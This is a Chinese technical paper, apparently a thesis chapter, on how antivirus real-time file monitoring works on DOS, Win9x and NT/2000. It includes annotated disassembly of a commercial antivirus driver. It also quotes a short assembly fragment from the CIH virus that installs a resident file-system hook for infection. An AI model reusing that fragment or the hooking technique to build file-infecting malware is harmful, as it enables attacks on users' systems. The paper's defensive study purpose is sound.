实时监控技术其实并非什么新技术,早在DOS编程时代就有之。只不过那时人们没有给这项技术冠以这样专业的名字而已。早期在各大专院校机房中普遍使用的硬盘写保护软件正是利用了实时监控技术。硬盘写保护软件一般会将自身写入硬盘零磁头开始的几个扇区(由0磁头0柱面1扇最开始的64个扇区是保留的,DOS访问不到)并修改原来的主引导记录以使启动时硬盘写保护程序可以取得控制权。引导时取得控制权的硬盘写保护程序会修改INT13H的中断向量指向自身已驻留于内存中的钩子代码以便随时拦截所有对磁盘的操作。钩子代码的作用当然是很明显的,它主要负责由判断中断入口参数,包括功能号,磁盘目标地址等来决定该类型操作是否被允许,这样就可以实现对某一特定区域的写操作保护。后来又诞生了在此基础之上进行改进了的磁盘恢复卡之类的产品,其利用将写操作重定向至目标区域外的临时分区并保存磁盘先前状态等技术来实现允许写入并可随时恢复之功能。不管怎么改进,这类产品的核心技术还是对磁盘操作的实时监控。对此有兴趣的朋友可参看高云庆著《硬盘保护技术手册》。DOS下还有许多通过驻留并截获一些有用的中断来实现某种特定目的的程序,我们通常称之为TSR(终止并等待驻留terminate-and-stay-resident,此种程序不容易编好,需要大量的关于硬件和Dos中断的知识,还要解决Dos重入,tsr程序重入等问题,搞不好就会当机)。在WINDOWS下要实现实时监控决非易事,普通用户态程序是不可能监控系统的活动的,这也是出于系统安全的考虑。HPS病毒能在用户态下直接监控系统中的文件操作其实是由于WIN9X在设计上存在漏洞。而我们下面要讨论的两个病毒实时监控(For WIN9X&WINNT/2000)都使用了驱动编程技术,让工作于系统核心态的驱动程序去拦截所有的文件访问。当然由于工作系统的不同,这两个驱动程序无论从结构还是工作原理都不尽相同的,当然程序写法和编译环境更是千差万别了,所以我们决定将其各自分成独立的一节来详细地加以讨论。上面提到的病毒实时监控其实就是对文件的监控,说成是文件监控应该更为合理一些。除了文件监控外,还有各种各样的实时监控工具,它们也都具有各自不同的特点和功用。这里向大家推荐一个关于WINDOWS系统内核编程的站点:www.sysinternals.com。在其上可以找到很多实时监控小工具,比如能够监视注册表访问的Regmon(通过修改系统调用表中注册表相关服务入口),可以实时地观察TCP和UDP活动的Tdimon(通过hook系统协议驱动Tcpip.sys中的dispatch函数来截获tdi clinet向其发送的请求),这些工具对于了解系统内部运作细节是很有裨益的。介绍完有关的背景情况后,我们来看看关于病毒 实时监控的具体实现技术的情况。 

3.2病毒实时监控实现技术概论 
正如上面提到的病毒实时监控其实就是一个文件监视器,它会在文件打开,关闭,清除,写入等操作时检查文件是否是病毒携带者,如果是则根据用户的决定选择不同的处理方案,如清除病毒,禁止访问该文件,删除该文件或简单地忽略。这样就可以有效地避免病毒在本地机器上的感染传播,因为可执行文件装入器在装入一个文件执行时首先会要求打开该文件,而这个请求又一定会被实时监控在第一时间截获到,它确保了每次执行的都是干净的不带毒的文件从而不给病毒以任何执行和发作的机会。以上说的仅是病毒实时监控一个粗略的工作过程,详细的说明将留到后面相应的章节中。病毒实时监控的设计主要存在以下几个难点: 

其一是驱动程序的编写不同于普通用户态程序的写作,其难度很大。写用户态程序时你需要的仅仅就是调用一些熟知的API函数来完成特定的目的,比如打开文件你只需调用CreateFile就可以了;但在驱动程序中你将无法使用熟悉的CreateFile。在NT/2000下你可以使用ZwCreateFile或NtCreateFile(native API),但这些函数通常会要求运行在某个IRQL(中断请求级)上,如果你对如中断请求级,延迟/异步过程调用,非分页/分页内存等概念不是特别清楚,那么你写的驱动将很容易导致蓝屏死机(BSOD),Ring0下的异常将往往导致系统崩溃,因为它对于系统总是被信任的,所以没有相应处理代码去捕获这个异常。在NT下对KeBugCheckEx的调用将导致蓝屏的出现,接着系统将进行转储并随后重启。另外驱动程序的调试不如用户态程序那样方便,用象VC++那样的调试器是不行的,你必须使用系统级调试器,如softice,kd,trw等。 

其二是驱动程序与ring3下客户程序的通信问题。这个问题的提出是很自然的,试想当驱动程序截获到某个文件打开请求时,它必须通知位于ring3下的查毒模块检查被打开的文件,随后查毒模块还需将查毒的结果通过某种方式传给ring0下的监控程序,最后驱动程序根据返回的结果决定请求是否被允许。这里面显然存在一个双向的通信过程。写过驱动程序的人都知道一个可以用来向驱动程序发送设备I/O控制信息的API调用DeviceIoControl,它的接口在MSDN中可以找到,但它是单向的,即ring3下客户程序可以通过调用DeviceIoControl将某些信息传给ring0下的监控程序但反过来不行。既然无法找到一个现成的函数实现从ring0下的监控程序到ring3下客户程序的通信,则我们必须采用迂回的办法来间接做到这一点。为此我们必须引入异步过程调用(APC)和事件对象的概念,它们就是实现特权级间唤醒的关键所在。现在先简单介绍一下这两个概念,具体的用法请参看后面的每子章中的技术实现细节。异步过程调用是一种系统用来当条件合适时在某个特定线程的上下文中执行一个过程的机制。当向一个线程的APC队列排队一个APC时,系统将发出一个软件中断,当下一次线程被调度时,APC函数将得以运行。APC分成两种:系统创建的APC称为内核模式APC,由应用程序创建的APC称为用户模式APC。另外只有当线程处于可报警(alertable)状态时才能运行一个APC。比如调用一个异步模式的ReadFileEx时可以指定一个用户自定义的回调函数FileIOCompletionRoutine,当异步的I/O操作完成或被取消并且线程处于可报警状态时函数被调用,这就是APC的典型用法。Kernel32.dll中导出的QueueUserAPC函数可以向指定线程的队列中增加一个APC对象,因为我们写的是驱动程序,这并不是我们要的那个函数。很幸运的是在Vwin32.vxd中导出了一个同名函数QueueUserAPC,监控程序拦截到一个文件打开请求后,它马上调用这个服务排队一个ring3下客户程序中需要被唤醒的函数的APC,这个函数将在不久客户程序被调度时被调用。这种APC唤醒法适用于WIN9X,在WINNT/2000下我们将使用全局共享的事件和信号量对象来解决互相唤醒问题。有关WINNT/2000下的对象组织结构我将在3.4.2节中详细说明。NT/2000版监控程序中我们将利用KeReleaseSemaphore来唤醒一个在ring3下客户程序中等待的线程。目前不少反病毒软件已将驱动使用的查毒模块移到ring0,即如其所宣传的“主动与操作系统无缝连接”,这样做省却了通信的消耗,但把查毒模块写成驱动形式也同时会带来一些麻烦,如不能调用大量熟知的API,不能与用户实时交互,所以我们还是选择剖析传统的反病毒软件的监控程序。 

其三是驱动程序所占用资源问题。如果由于监控程序频繁地拦截文件操作而使系统性能下降过多,则这样的程序是没有其存在的价值的。本论文将对一个成功的反病毒软件的监控程序做彻底的剖析,其中就包含有分析其用以提高自身性能的技巧的部分,如设置历史记录,内置文件类型过滤,设置等待超时等。 

3.3WIN9X下的病毒实时监控 
3.3.1实现技术详解 
WIN9X下病毒实时监控的实现主要依赖于虚拟设备驱动(VXD)编程,可安装文件系统钩挂(IFSHook),VXD与ring3下客户程序的通信(APC/EVENT)三项技术。 

我们曾经提到过只有工作于系统核心态的驱动程序才具有有效地完成拦截系统范围文件操作的能力,VXD就是适用于WIN9X下的虚拟设备驱动程序,所以正可当此重任。当然,VXD的功能远不止由IFSMGR.vxd提供的拦截文件操作这一项,系统的VXDs几乎提供了所有的底层操作的接口–可以把VXD看成ring0下的DLL。虚拟机管理器本身就是一个VXD,它导出的底层操作接口一般称为VMM服务,而其他VXD的调用接口则称为VXD服务。 

二者ring0调用方法均相同,即在INT20(CD 20)后面紧跟着一个服务识别码,VMM会利用服务识别码的前半部分设备标识–Device Id找到对应的VXD,然后再利用服务识别码的后半部分在VXD的服务表(Service Table)中定位服务函数的指针并调用之: 

CD 20 INT 20H 

01 00 0D 00 DD VKD_Define_HotKey 

这条指令第一次执行后,VMM将以一个同样6字节间接调用指令替换之(并不都是修正为CALL指令,有时会利用JMP指令),从而省却了查询服务表的工作: 

FF 15 XX XX XX XX CALL [$VKD_Define_HotKey] 

必须注意,上述调用方法只适用于ring0,即只是一个从VXD中调用VXD/VMM服务的ring0接口。VXD还提供了V86(虚拟8086模式),Win16保护模式,Win32保护模式调用接口。其中V86和Win16保护模式的调用接口比较奇怪: 

 XOR DI DI 
 MOV ES,DI 
 MOV AX,1684 ;INT 2FH,AX = 1684H–>取得设备入口 
 MOV BX,002A ;002AH = VWIN32.VXD的设备标识 
 INT 2F 
 MOV AX,ES ;现在ES:DI中应该包含着入口 
 OR AX,AX 
 JE failure 
MOV AH,00 ;VWIN32 服务 0 = VWIN32_Get_Version 
 PUSH DS 
 MOV DS,WORD PTR CS:[0002] 
  
 MOV WORD PTR [lpfnVMIN32],DI 
 MOV WORD PTR [lpfnVMIN32+2],ES ;保存ES和DI 
 CALL FAR [lpfnVMIN32] ;call gate(调用门) 
 ES:DI指向了3B段的一个保护模式回调: 

003B:000003D0 INT 30 ;#0028:C025DB52 VWIN32(04)+0742 

INT30强迫CPU从ring3提升到ring0,然后WIN95的INT30处理函数先检查调用是否发自3B段,如是则利用引发回调的CS:IP索引一个保护模式回调表以求得一个ring0地址。本例中是0028:C025DB52 ,即所需服务VWIN32_Get_Version的入口地址。 

VXD的Win32保护模式调用接口我们在前面已经提到过。一个是DeviceIoControl,我们的ring3客户程序利用它来和监控驱动进行单向通信;另一个是VxdCall,它是Kernel32.dll的一个未公开的调用,被系统频繁使用,对我们则没有多大用处。 

你可以参看WIN95DDK的帮助,其中对每个系统VXD提供的调用接口均有详细说明,可按照需要选择相应的服务。 

可安装文件系统钩挂(IFSHook)就源自IFSMGR.VXD提供的一个服务IFSMgr_InstallFileSystemApiHook,利用这个服务驱动程序可以向系统注册一个钩子函数。以后系统中所有文件操作都会经过这个钩子的过滤,WIN9X下文件读写具体流程如下: 

在读写操作进行时,首先通过未公开函数EnterMustComplete来增加MUSTCOMPLETECOUNT变量的记数,告诉操作系统本操作必须完成。该函数设置了KERNEL32模块里的内部变量来显示现在有个关键操作正在进行。有句题外话,在VMM里同样有个函数,函数名也是EnterMustComplete。那个函数同样告诉VMM,有个关键操作正在进行。防止线程被杀掉或者被挂起。 

接下来,WIN9X进行了一个_MapHandleWithContext(又是一个未公开函数)操作。该操作本身的具体意义尚不清楚,但是其操作却是得到HANDLE所指对象的指针,并且增加了引用计数。 

随后,进行的乃是根本性的操作:KERNEL32发出了一个调用VWIN32_Int21Dispatch的VxdCall。陷入VWIN32后,其 检查调用是否是读写操作。若是,则根据文件句柄切换成一个FSD能识别的句柄,并调用IFSMgr_Ring0_FileIO。接下来任务就转到了IFS MANAGER。 

IFS MANAGER生成一个IOREQ,并跳转到Ring0ReadWrite内部例程。Ring0ReadWrite检查句柄有效性,并且获取FSD在创建文件句柄时返回的CONTEXT,一起传入到CallIoFunc内部例程。CallIoFunc检查IFSHOOK的存在,如果不存在,IFS MANAGER生成一个缺省的IFS HOOK,并且调用相应的VFatReadFile/VFatWriteFile例程(因为目前 MS本身仅提供了VFAT驱动);如果IFSHOOK存在,则IFSHOOK函数得到控制权,而IFS MANAGER本身就脱离了文件读写处理。然后,调用被层层返回。KERNEL32调用未公开函数LeaveMustComplete,减少MUSTCOMPLETECOUNT计数,最终回到调用者。 

由此可见通过IFSHook拦截本地文件操作是万无一失的,而通过ApiHook或VxdCall拦截文件则多有遗漏。著名的CIH病毒正是利用了这一技术,实现其驻留感染的,其中的代码片段如下: 

  lea eax, FileSystemApiHook-@6[edi] ;取得欲安装的钩子函数的地址 
 push eax 
 int 20h ;调用IFSMgr_InstallFileSystemApiHook 
 IFSMgr_InstallFileSystemApiHook = $ 
 dd 00400067h 
 mov dr0, eax ;保存前一个钩子的地址 
 pop eax 
  正如我们看到的,系统中安装的所有钩子函数呈链状排列。最后安装的钩子,最先被系统调用。我们在安装钩子的同时必须将调用返回的前一个钩子的地址暂存以便在完成处理后向下传递该请求: 

mov eax, dr0 ;取得前一个钩子的地址 

jmp [eax] ; 跳到那里继续执行 

对于病毒实时监控来说,我们在安装钩子时同样需要保存前一个钩子的地址。如果文件操作的对象携带了病毒,则我们可以通过不调用前一个钩子来简单的取消该文件请求;反之,我们则需及时向下传递该请求,若在钩子中滞留的时间过长–用于等待ring3级查毒模块的处理反馈–则会使用户明显感觉系统变慢。 

至于钩子函数入口参数结构和怎样从参数中取得操作类型(如IFSFN_OPEN)和文件名(以UNICODE形式存储)请参看相应的代码剖析部分。 

我们所需的另一项技术–APC/EVENT也是源自一个VXD导出的服务,这便是著名的VWIN32.vxd。这个奇怪的VXD导出了许多与WIN32 API对应的服务:如_VWIN32_QueueUserApc,_VWIN32_WaitSingleObject,_VWIN32_ResetWin32Event,_VWIN32_Get_Thread_Context,_VWIN32_Set_Thread_Context 等。这个VXD叫虚拟WIN32,大概名称即是由此而来的。虽然服务的名称与WIN32 API一样,但调用规则却大相径庭,千万不可用错。_VWIN32_QueueUserApc用来注册一个用户态的APC,这里的APC函数当然是指我们在ring3下以可告警状态睡眠的待查毒线程。ring3客户程序首先通过IOCTL把待查毒线程的地址传给驱动程序,然后当钩子函数拦截到待查文件时调用此服务排队一个APC,当ring3客户程序下一次被调度时,APC例程得以执行。_VWIN32_WaitSingleObject则用来在某个对象上等待,从而使当前ring0线程暂时挂起。我们的ring3客户程序先调用WIN32 API–CreateEvent创建一组事件对象,然后通过一个未公开的API–OpenVxdHandle将事件句柄转化为VXD可辩识的句柄(其实应是指向对象的指针)并用IOCTL发给ring0端VXD,钩子函数在排队APC后调用_VWIN32_WaitSingleObject在事件的VXD句柄上等待查毒的完成,最后由ring3客户程序在查毒完毕后调用WIN32 API–SetEvent来解除钩子函数的等待。 

当然,这里面存在着一个很可怕的问题:如果你按照的我说的那样去做,你会发现它会在一端时间内工作正常,但时间一长,系统就被挂起了。就连驱动编程大师Walter Oney在其著作《System Programming For Windows 95》的配套源码的说明中也称其APC例程在某些时候工作会不正常。而微软的工程师声称文件操作请求是不能被中断掉的,你不能在驱动中阻断文件操作并依赖于ring3的反馈来做出响应。网上关于这个问题也有一些讨论,意见不一:有人认为当系统DLL–KERNEL32在其调用ring0处理文件请求时拥有一个互斥量(MUTEX),而在某些情况下为了处理APC要拥有同样的互斥量,所以死锁发生了;还有人认为尽管在WIN9X下32位线程是抢先多任务的,但Win16子系统是以协作多任务来运行的。为了能平滑的运行老的16位程序,它引入了一个全局的互斥量–Win16Mutex。任何一个16位线程在其整个生命周期中都拥有Win16Mutex而32位线程当它转化成16位代码也要攫取此互斥量,因为WIN9X内核是16位的,如Knrl386.exe,gdi.exe。如果来自于拥有Win16Mutex的线程的文件请求被阻塞,系统将陷入死锁状态。这个问题的正确答案似乎在没有得到WIN9X源码的之前永远不可能被证实,但这是我们实时监控的关键,所以必须解决。 

我通过跟踪WIN95文件操作的流程,并反复做实验验证,终于找到了一个比较好的解决办法:在拦截到文件请求还没有排队APC之前我们通过Get_Cur_Thread_Handle取得当前线程的ring0tcb,从中找到TDBX,再在TDBX中取得ring3tcb根据其结构,我们从偏移44H处得到Flags域值,我发现如果它等于10H和20H时容易导致死锁,这只是一个实验结果,理由我也说不清楚,大概是这样的文件请求多来自于拥有Win16Mutex的线程,所以不能阻塞;另外一个根本的解决方法是在调用_VWIN32_WaitSingleObject时指定超时,如果在指定时间里没有收到ring3的唤醒信号,则自动解除等待以防止死锁的发生。 

以上对WIN9X下的实时监控的主要技术都做了详细的阐述。当然,还有一部分关于VXD的结构,编写和编译的方法由于篇幅的关系不可能在此一一说明。需要了解更详细内容的,请参看Walter Oney的著作《System Programming For Windows 95》,此书尚有台湾候俊杰翻译版《Windows 95系统程式设计》。 

3.3.2程序结构与流程 
以下的程序结构与流程分析来自一著名反病毒软件的WIN9X实时监控虚拟设备驱动程序Hooksys.vxd: 

1.当VXD收到来自VMM的ON_SYS_DYNAMIC_DEVICE_INIT消息–需要注意这是个动态VXD,它不会收到系统虚拟机初始化时发送的Sys_Critical_Init, Device_Init和Init_Complete控制消息–时,它开始初始化一些全局变量和数据结构,包括在堆上分配内存(HeapAllocate),创建备用,历史记录,打开文件,等待操作,关闭文件5个双向循环链表及用于链表操作互斥的5个信号量(调用Create_Semaphore),同时将全局变量_gNumOfFilters即文件名过滤项个数设置为0。 

2.当VXD收到来自VMM的ON_W32_DEVICEIOCONTROL消息时,它会从入口参数中取得用户程序利用DeviceIoControl传送进来的IO控制代码(IOCtlCode),以此判断用户程序的意图。和Hooksys.vxd协同工作的ring3级客户程序guidll.dll会依次向Hooksys.vxd发送IO控制请求来完成一系列工作,具体次序和代码含义如下: 

83003C2B:将guidll取得的操作系统版本传给驱动(保存在iOSversion变量中),根据此变量值的不同,从ring0tcb结构中提取某些域时将采用不同的偏移,因为操作系统版本不同会影响内核数据结构。 

83003C1B:初始化后备链表,将guidll传入的用OpenVxdHandle转换过的一组事件指针保存在每个链表元素中。 

83003C2F:将guidll取得的驱动器类型值传给驱动(保存在DriverType变量中),根据此变量值的不同,调用VWIN32_WaitSingleObject设置不同的等待超时值,因为非固定驱动器的读写时间可能会稍长些。 

83003C0F:保存guidll传送的用户指定的拦截文件的类型,其实这个类型过滤器在查毒模块中已存在,这里再设置显然是为了提高处理效率:它确保不会将非指定类型文件送到ring3级查毒模块,节省了通信的开销。经过解析的各文件类型过滤块指针将保存在_gaFileNameFilterArra数组中,同时更新过滤项个数_gNumOfFilters 变量的值。 

83003C23:保存guidll中等待查杀打开文件的APC函数地址和当前线程KTHREAD指针。 

83003C13:安装系统文件钩子,启动拦截文件操作的钩子函数FilemonHookProc的工作。 

83003C27:保存guidll中等待查杀关闭文件的APC函数地址和当前线程KTHREAD指针。 

83003C17:卸载系统文件钩子,停止拦截文件操作的钩子函数FilemonHookProc的工作。 

以上列出的IO控制代码的发出是固定,而当钩子函数启动后,还会发出一些随机的控制代码: 

83003C07:驱动将打开文件链表的头元素即最先的请求打开的文件删除并插入到等待链表尾部,同时将元素的用户空间地址传送至ring3级等待查杀打开文件的APC函数中处理。 

83003C0B:驱动将关闭文件链表的头元素即最先的请求关闭的文件删除并插入到备用链表尾部,同时将元素中的文件名串传送至ring3级等待查杀关闭文件的APC函数中处理 

83003C1F:当查得关闭文件是病毒时,更新历史记录链表。 

下面介绍钩子函数和guidll中等待查杀打开文件的APC函数协同工作流程,写文件和关闭文件的处理与之类似: 

当文件请求进入钩子函数FilemonHookProc后,它先从入口参数中取得被执行的函数的代号并判断其是否为打开操作(IFSFN_OPEN 24H),若非则马上将这个IRQ向下传递,即构造入口参数并调用保存在PrevIFSHookProc中前一个钩子函数;若是则程序流程转向打开文件请求的处理分支。分支入口处首先要判断当前进程是否是我们自己,若是则必须放过去,因为查毒模块中要频繁的进行文件操作,所以拦截来自自身的文件请求将导致严重的系统死锁。接下来是从堆栈参数中取得完整的文件路径名并通过保存的文件类型过滤阵列检查其是否在拦截类型之列,如通过则进一步检查文件是否是以下几个须放过的文件之一:SYSTEM.DAT,USER.DAT,\PIPE\。然后查找历史记录链表以确定该文件是否最近曾被检查并记录过,若在历史记录链表中找到关于该文件的记录并且记录未失效即其时间戳和当前系统时间之差不得大于1F4h,则可直接从记录中读取查毒结果。至此才进入真正的检查打开文件函数_RAVCheckOpenFile,此函数入口处先从备用,等待或关闭链表头部摘得一空闲元素(_GetFreeEntry)并填充之(文件路径名域等)。接着通过一内核未公开的数据结构中的值(ring3tcb->Flags)判断可否对该文件请求排队APC。如可则将空闲元素加入打开文件链表尾部并排队一个ring3级检查打开文件函数的APC。然后调用_VWIN32_WaitSingleObject在空闲元素中保存的一个事件对象上等待ring3查毒的完成。当钩子函数挂起不久后,ring3的APC函数得到执行:它会向驱动发出一IO控制码为83003C07的请求以取得打开文件链表头元素即保存最先提交而未决的文件请求,驱动可以将内核空间中元素的虚拟地址直接传给它而不必考虑将之重新映射。实际上由于WIN9X内核空间没有页保护因而ring3级程序可以直接读写之。接着它调用RsEngine.dll中的fnScanOneFile函数进行查毒并在元素中设置查毒结果位,完毕后再对元素中保存的事件对象调用SetEvent唤醒在此事件上等待的钩子函数。被唤醒的钩子函数检查被ring3查毒代码设置的结果位以此决定该文件请求是被采纳即继续向下传递还是被取消即在EAX中放入-1后直接返回,同时增加历史记录。 

以上只是钩子函数与APC函数流程的一个简单介绍,其中省略了诸如判断固定驱动器,超时等内容,具体细节请参看guidll.dll和hooksys.vxd的反汇编代码注释。 

3.当VXD收到来自VMM的ON_SYS_DYNAMIC_DEVICE_EXIT消息时,它释放初始化时分配的堆内存(HeapFree),并清除5个用于互斥的信号量(Destroy_Semaphore)。 

3.3.3HOOKSYS.VXD逆向工程代码剖析 
在剖析代码之前有必要介绍一下逆向工程的概念。逆向工程(Reverse Engineering)是指在没有源代码的情况下对可执行文件进行反汇编试图理解机器码本身的含义。逆向工程的用途很多,如摘掉软件保护,窥视其设计和编写技术,发掘操作系统内部奥秘等。本文中我们用到的不少未公开数据结构和服务就是利用逆向的方法得到的。逆向工程的难度可想而知:一个1K大小的exe文件反汇编后就有1000行左右,而我们要逆向的3个文件加起来有80多K,总代码量是8万多行。所以必须掌握一定的逆向技巧,否则工作起来将是非常困难的。 

首先要完成逆向工作,必须选择优秀的反汇编及调试跟踪工具。IDA(The Interactive Disassembler)是一款功能强大的反汇编工具:它以交互能力强而著称,允许使用者增加标签,注释及定义变量,函数名称;另外不少反汇编工具对于特殊处理的反逆向文件,如导入节损坏等显得无能为力,但IDA仍可胜任之。当文件被加过壳或插入了干扰指令时 就需要使用调试工具进行动态跟踪。Numega公司的Softice是调试工具中的佼佼者:它支持所有类型的可执行文件,包括vxd和sys驱动程序,能够用热键实时呼出,可对代码执行,内存和端口访问设置断点,总之功能非常之强大以至于连微软总裁比尔盖茨对此都惊叹不已。 

其次需要对编译器常用的编译结构有一定了解,这样有助于我们理解代码的含义。 

如下代码是MS编译器常用的一种编译高级语言函数的形式: 

  0001224A push ebp ;保存基址寄存器 
 0001224B mov ebp, esp 
 0001224D sub esp, 5Ch ;在堆栈留出局部变量空间 
 00012250 push ebx 
 00012251 push esi 
 00012252 push edi 
 …… 
 0001225B lea edi, [ebp-34h] ;引用局部变量 
 …… 
 0001238D mov esi, [ebp+08h] ;引用参数 
 …… 
 00012424 pop edi 
 00012425 pop esi 
 00012426 pop ebx 
 00012427 leave 
 00012428 retn 8 ;函数返回 
 如下代码是MS编译器常用的一种编译高级语言取串长度的形式: 

 0001170D lea edi, [eax+1Ch] ;串首地址指针 
 00011710 or ecx, 0FFFFFFFFh ;将ecx置为-1 
 00011713 xor eax, eax ;扫描串结束符号(NULL) 
 00011715 push offset 00012C04h ;编译器优化 
 0001171A repne scasb ;扫描串结束符号位置 
 0001171C not ecx ;取反后得到串长度 
 0001171E sub edi, ecx ;恢复串首地址指针 
最后一点是必须要有坚忍的毅力和清晰的头脑。逆向工程本身是件痛苦的工作:高级语言源代码中使用的变量和函数名字在这里仅是一个地址,需要反复调试琢磨才能确定其含义;另外编译器优化更为我们理解代码增加了不少障碍,如上例中那句压栈指令是将后面函数调用时参数入栈提前放置。所以毅力和头脑二者缺一不可。 

以下进入hooksys.vxd代码剖析,由于代码过于庞大,我只选择有代表性且精彩的部分进行介绍。代码中的变量和函数及标签名是我分析后自己添加的,可能会与原作者的意图有些出入。 

3.3.3.1钩子函数入口代码 
 C00012E0 push ebp 
 C00012E1 mov ebp, esp 
 C00012E3 sub esp, 11Ch 
 C00012E9 push ebx 
 C00012EA push esi 
 C00012EB push edi 
 C00012EC mov eax, [ebp+arg_4] ; 被执行的函数的代号 
 C00012EF mov [ebp+var_11C], eax 
 C00012F5 cmp [ebp+var_11C], 1 ; IFSFN_WRITE 
 C00012FC jz writefile 
 C0001302 cmp [ebp+var_11C], 0Bh ; IFSFN_CLOSE 
 C0001309 jz closefile 
 C000130F cmp [ebp+var_11C], 24h ; IFSFN_OPEN 
 C0001316 jz short openfile 
 C0001318 jmp irqpassdown 
 钩子函数入口处,堆栈参数分布如下: 

 ebp+00h -> 保存的EBP值. 
 ebp+04h -> 返回地址. 
 ebp+08h -> 提供这个API要调用的FSD函数的的地址 
 ebp+0Ch -> 提供被执行的函数的代号 
 ebp+10h -> 提供了操作在其上执行的以1为基准的驱动器代号(如果UNC为-1) 
 ebp+14h -> 提供了操作在其上执行的资源的种类。 
 ebp+18h -> 提供了用户串传递其上的代码页 
 ebp+1Ch -> 提供IOREQ结构的指针。 
钩子函数利用[ebp+0Ch]中保存的被执行的函数的代号来判断该请求的类型。同时它利用[ebp+0Ch]中保存的IOREQ结构的指针从该结构中偏移0ch处path_t ir_ppath域取得完整的文件路径名称。 

3.3.3.2取得当前进程名称代码 
 C0000870 push ebx 
 C0000871 push esi 
 C0000872 push edi 
 C0000873 call VWIN32_GetCurrentProcessHandle ;在eax中返回ring0 PDB(进程数据库) 
 C0000878 mov eax, [eax+38h] ;HTASK W16TDB 
 ;偏移38h处是Win16任务数据库选择子 
 C000087B push 0 ;DWORD Flags 
 C000087D or al, 
 C000087F push eax ;DWORD Selector 
 C0000880 call Get_Sys_VM_Handle@0 
 C0000885 push eax ;取得系统VM的句柄 VMHANDLE hVM 
 C0000886 call _SelectorMapFlat ;将选择子基址映射为平坦模式的线形地址 
 C000088B add esp, 0Ch 
 C000088E cmp eax, 0FFFFFFFFh ;映射错误 
 C0000891 jnz short loc_C0000899 
 …… 
 C0000899 lea edi, [eax+0F2h] ;从偏移0F2h取得模块名称 
 ;char TDB_ModName[8] 
 3.3.3.3通信部分代码 
hooksys.vxd中代码: 

C00011BC push ecx ;客户程序的ring0线程句柄 
 C00011BD push ebx ;传入APC的参数 
 C00011BE push edx ;ring3级APC函数的平坦模式地址 
 C00011BF call _VWIN32_QueueUserApc ;排队APC 
 C00011C4 mov eax, [ebp+0Ch] ;事件对象的ring0句柄 
 C00011C7 push eax 
 C00011C8 call _VWIN32_ResetWin32Event;设置事件对象为无信号态 
 …… 
 C00011E7 mov eax, [ebp+0Ch] 
 C00011EA push 3E8h ;超时设置 
 C00011EF push eax ;事件对象的ring0句柄 
 C00011F0 call _VWIN32_WaitSingleObject ;等待ring3查毒的完成 
 guidll.dll中代码: 

 APC函数入口: 
 10001AD1 mov eax, hDevice ;取得设备句柄 
 10001AD6 lea ecx, [esp+4] 
 10001ADA push 0 
 10001ADC push ecx ;返回字节数 
 10001ADD lea edx, [esp+8] 
 10001AE1 push 4 ;输出缓冲区大小 
 10001AE3 push edx ;输出缓冲区指针 
 10001AE4 push 0 ;输入缓冲区大小 
 10001AE6 push 0 ;输入缓冲区指针 
 10001AE8 push 83003C07h ;IO控制代码 
 10001AED push eax ;设备句柄 
 10001AEE call ds:DeviceIoControl 
 10001AF4 test eax, eax 
 10001AF6 jz short loc_10001B05 
 10001AF8 mov ecx, [esp+0] ;得到打开文件链表头元素 
 10001AFC push ecx 
 10001AFD call ScanOpenFile ;调用查毒函数 
 ScanOpenFile函数中: 

 1000185D call ds:fnScanOneFile ;调用真正查毒库导出函数 
 10001863 mov edx, hMutex 
 10001869 add esp, 8 
 1000186C mov esi, eax ;查毒结果 
 1000186E push edx 
 1000186F call ds:ReleaseMutex 
 10001875 test esi, esi ;检查结果 
 10001877 jnz short OpenFileIsVirus ;如发现病毒则跳到OpenFileIsViru进一步处理 
 10001879 mov eax, [ebp+10h] ;事件对象的ring3句柄 
 1000187C mov byte ptr [ebp+16h], 0 ;设置元素中的结果位为无病毒 
 10001880 push eax 
 10001881 call ds:SetEvent ;设置事件对象为有信号态唤醒钩子函数 
  3.4WINNT/2000下的病毒实时监控 
3.4.1实现技术详解 
WINNT/2000下病毒实时监控的实现主要依赖于NT内核模式驱动编程,拦截IRP,驱动与ring3下客户程序的通信(命名的事件与信号量对象)三项技术。程序的设计思路和大体流程与前面介绍的WIN9X下病毒实时监控非常相似,只是在实现技术由于运行环境的不同将呈现很大的区别。 

WINNT/2000下不再支持VXD,我将在后面剖析的hooksys.sys其实是一种称为NT内核模式设备驱动的驱动程序。这种驱动程序无论从其结构还是工作方式都与VXD有很大不同。比较而言,NT内核模式设备驱动的编写比VXD难度更大:因为它要求编程者熟悉WINNT/2000的整体架构和运行机制,NT/2000是纯32位微内核操作系统,与WIN9X有很大区别;能灵活使用内核数据结构,如驱动程序对象,设备对象,文件对象,IO请求包,执行体进程/线程块,系统服务调度表等。另外编程者在编程时还需注意许多重要事项,如当前系统运行的IO请求级,分页/非分页内存等。 

这里首先介绍几个重要的内核数据结构,它们在NT内核模式设备驱动的编程中经常被用到,包括文件对象,驱动程序对象,设备对象,IO请求包(IRP),IO堆栈单元(IO_STACK_LOCATION): 

文件明显符合NT中的对象标准:它们是两个或两个以上用户态进程的线程可以共享的系统资源;它们可以有名称;它们被基于对象的安全性所保护;并且它们支持同步。对于用户态受保护的子系统,文件对象通常代表一个文件,设备目录,或卷的打开实例;而对于设备和中间型驱动,文件对象通常代表一个设备。文件对象结构中的域大部分是透明的驱动可以访问的域包括: 

PDEVICE_OBJECT DeviceObject:指向文件于其上被打开的设备对象的指针。 

UNICODE_STRING FileName:在设备上被打开的文件的名字,如果当由DeviceObject代表的设备被打开时此串长度(FileName.Length)为0。 

驱动程序对象代表可装载的内核模式驱动的映象,当驱动被加载至系统中时,有I/O管理器负责创建。指向驱动程序对象的指针将作为一个输入参数传送到驱动的初始化例程(DriverEntry),再初始化例程(Reinitialize routines)和卸载例程(Unload routine)。驱动程序对象结构中的域大部分是透明的,驱动可以访问的域包括: 

PDEVICE_OBJECT DeviceObject:指向驱动创建的设备对象的指针。当在初始化例程中成功调用IoCreateDevice后这个域将被自动更新。当驱动卸载时,它的卸载例程将使用此域和设备对象中NextDevice域调用IoDeleteDevice来清除驱动创建的每个设备对象。 

PDRIVER_INITIALIZE DriverInit:由I/O管理器设置的初始化例程(DriverEntry)入口地址。该例程负责创建驱动程序操作的每个设备的设备对象,需要的话还可以在设备名称和设备对用户态可见名称间创建符号链接。同时它还把驱动程序各例程入口点填入驱动程序对象相应的域中。 

PDRIVER_UNLOAD DriverUnload:驱动程序的卸载例程入口地址。 

